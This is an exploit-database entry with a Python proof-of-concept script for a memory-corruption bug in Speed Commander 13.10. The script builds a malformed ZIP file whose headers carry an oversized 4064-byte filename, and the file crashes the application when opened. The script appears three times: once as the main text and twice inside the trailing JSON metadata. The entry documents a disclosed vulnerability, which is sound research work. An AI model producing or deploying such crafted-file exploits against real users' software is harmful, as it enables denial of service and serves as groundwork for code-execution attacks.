ID 1337DAY-ID-11908
Type zdt
Reporter TecR0c
Modified 2010-04-20T00:00:00
Description
Exploit for windows platform in category dos / poc
==============================================
Speed Commander 13.10 (.zip) Memory Corruption
==============================================
#!/usr/bin/python
# #######################################################################
# Title: Speed Commander 13.10 (.zip) Memory Corruption
# Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Found by: TecR0c
# Download: http://www.sp-download.de/sc13/sc13.exe
# Platform: Windows XP sp3 En
# Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028
# Greetz to: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
# Trigger : Open the application, Browse to the zip file > double click = BOOM!
print "|------------------------------------------------------------------|"
print "| __ __ |"
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |"
print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |"
print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |"
print "| |"
print "| http://www.corelan.be:8800 |"
print "| [email protected] |"
print "| |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] SpeedCommander (.zip) - by TecR0c"
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
buff = "\x41" * 4064
buff += ".txt"
mefile = open('SpeedCommander.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()
# 0day.today [2018-02-18] #
{"published": "2010-04-20T00:00:00", "id": "1337DAY-ID-11908", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [{"differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-19T04:06:24", "bulletin": {"published": "2010-04-20T00:00:00", "id": "1337DAY-ID-11908", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [], "enchantments": {"score": {"value": 8.8, "modified": "2016-04-19T04:06:24"}}, "hash": "8873335737d29157cb7e2737e1c503f18b5b7b259075ef67e294eb0caeaf29d0", "description": "Exploit for windows platform in category dos / poc", "type": "zdt", "lastseen": "2016-04-19T04:06:24", "edition": 1, "title": "Speed Commander 13.10 (.zip) Memory Corruption", "href": "http://0day.today/exploit/description/11908", "modified": "2010-04-20T00:00:00", "bulletinFamily": "exploit", "viewCount": 0, "cvelist": [], "sourceHref": "http://0day.today/exploit/11908", "references": [], "reporter": "TecR0c", "sourceData": "==============================================\r\nSpeed Commander 13.10 (.zip) Memory Corruption\r\n==============================================\r\n\r\n#!/usr/bin/python\r\n# #######################################################################\r\n# Title: Speed Commander 13.10 (.zip) Memory Corruption\r\n# Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c\r\n# Found by: TecR0c\r\n# Download: http://www.sp-download.de/sc13/sc13.exe\r\n# Platform: Windows XP sp3 En\r\n# Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028\r\n# Greetz to: Corelan Security Team\r\n# http://www.corelan.be:8800/index.php/security/corelan-team-members/\r\n# #######################################################################\r\n# Script provided 'as is', without any warranty.\r\n# Use for educational purposes only.\r\n# Do not use this code to do anything illegal !\r\n#\r\n# Note : you are not allowed to edit/modify this code.\r\n# If you do, Corelan cannot be held responsible for any damages this may cause.\r\n \r\n# Trigger : Open the application, Browse to the zip file > double click = BOOM!\r\n \r\nprint \"|------------------------------------------------------------------|\"\r\nprint \"| __ __ |\"\r\nprint \"| _________ ________ / /___ _____ / /____ ____ _____ ___ |\"\r\nprint \"| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\"\r\nprint \"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\"\r\nprint \"| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\"\r\nprint \"| |\"\r\nprint \"| http://www.corelan.be:8800 |\"\r\nprint \"| security@corelan.be |\"\r\nprint \"| |\"\r\nprint \"|-------------------------------------------------[ EIP Hunters ]--|\"\r\nprint \"[+] SpeedCommander (.zip) - by TecR0c\"\r\n \r\n \r\nldf_header = (\"\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\")\r\n \r\ncdf_header = (\"\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\r\n\"\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\r\n \r\neofcdf_header = (\"\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\"\r\n\"\\x12\\x10\\x00\\x00\"\r\n\"\\x02\\x10\\x00\\x00\"\r\n\"\\x00\\x00\")\r\n \r\nbuff = \"\\x41\" * 4064\r\nbuff += \".txt\"\r\n \r\nmefile = open('SpeedCommander.zip','w');\r\nmefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);\r\nmefile.close()\r\n\r\n\n\n# 0day.today [2016-04-19] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "5ed485fade1224dc02df6e6b88a0b77c", "key": "sourceHref"}, {"hash": "b0d3d3a91f21189719037cf41ad6dbfa", "key": "description"}, {"hash": "584e98db78a552c72b943d177ebbe3e2", "key": "sourceData"}, {"hash": "15defe45784703bbb2bdb66a59a89f7e", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "e9b31838614598f5e8d84c3e324edec8", "key": "published"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "c1de309a641ebe30326ee5ebcc8cd0a8", "key": "reporter"}, {"hash": "d52f85d31099e09617892f9500006e84", "key": "href"}, {"hash": "e9b31838614598f5e8d84c3e324edec8", "key": "modified"}], "objectVersion": "1.0"}}], "description": "Exploit for windows platform in category dos / poc", "hash": "ee3bca428357d02caa0ca17c1cc74c16029595542187cb0aaf11aeeb580d95e8", "enchantments": {"vulnersScore": 7.5}, "type": "zdt", "lastseen": "2018-02-18T19:22:49", "edition": 2, "title": "Speed Commander 13.10 (.zip) Memory Corruption", "href": "https://0day.today/exploit/description/11908", "modified": "2010-04-20T00:00:00", "bulletinFamily": "exploit", "viewCount": 0, "cvelist": [], "sourceHref": "https://0day.today/exploit/11908", "references": [], "reporter": "TecR0c", "sourceData": "==============================================\r\nSpeed Commander 13.10 (.zip) Memory Corruption\r\n==============================================\r\n\r\n#!/usr/bin/python\r\n# #######################################################################\r\n# Title: Speed Commander 13.10 (.zip) Memory Corruption\r\n# Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c\r\n# Found by: TecR0c\r\n# Download: http://www.sp-download.de/sc13/sc13.exe\r\n# Platform: Windows XP sp3 En\r\n# Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-028\r\n# Greetz to: Corelan Security Team\r\n# http://www.corelan.be:8800/index.php/security/corelan-team-members/\r\n# #######################################################################\r\n# Script provided 'as is', without any warranty.\r\n# Use for educational purposes only.\r\n# Do not use this code to do anything illegal !\r\n#\r\n# Note : you are not allowed to edit/modify this code.\r\n# If you do, Corelan cannot be held responsible for any damages this may cause.\r\n \r\n# Trigger : Open the application, Browse to the zip file > double click = BOOM!\r\n \r\nprint \"|------------------------------------------------------------------|\"\r\nprint \"| __ __ |\"\r\nprint \"| _________ ________ / /___ _____ / /____ ____ _____ ___ |\"\r\nprint \"| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\"\r\nprint \"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\"\r\nprint \"| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\"\r\nprint \"| |\"\r\nprint \"| http://www.corelan.be:8800 |\"\r\nprint \"| [email\u00a0protected] |\"\r\nprint \"| |\"\r\nprint \"|-------------------------------------------------[ EIP Hunters ]--|\"\r\nprint \"[+] SpeedCommander (.zip) - by TecR0c\"\r\n \r\n \r\nldf_header = (\"\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\")\r\n \r\ncdf_header = (\"\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\"\\xe4\\x0f\"\r\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\r\n\"\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\r\n \r\neofcdf_header = (\"\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\"\r\n\"\\x12\\x10\\x00\\x00\"\r\n\"\\x02\\x10\\x00\\x00\"\r\n\"\\x00\\x00\")\r\n \r\nbuff = \"\\x41\" * 4064\r\nbuff += \".txt\"\r\n \r\nmefile = open('SpeedCommander.zip','w');\r\nmefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);\r\nmefile.close()\r\n\r\n\n\n# 0day.today [2018-02-18] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "b0d3d3a91f21189719037cf41ad6dbfa", "key": "description"}, {"hash": "749c3ff9e545190be74f962ab2f6b43f", "key": "href"}, {"hash": "e9b31838614598f5e8d84c3e324edec8", "key": "modified"}, {"hash": "e9b31838614598f5e8d84c3e324edec8", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "c1de309a641ebe30326ee5ebcc8cd0a8", "key": "reporter"}, {"hash": "509d990771586f207bc5321919a59dbe", "key": "sourceData"}, {"hash": "7b9668dbdb4294b3ebebb2fbe7dc7f37", "key": "sourceHref"}, {"hash": "15defe45784703bbb2bdb66a59a89f7e", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "objectVersion": "1.3"}
{"result": {}}
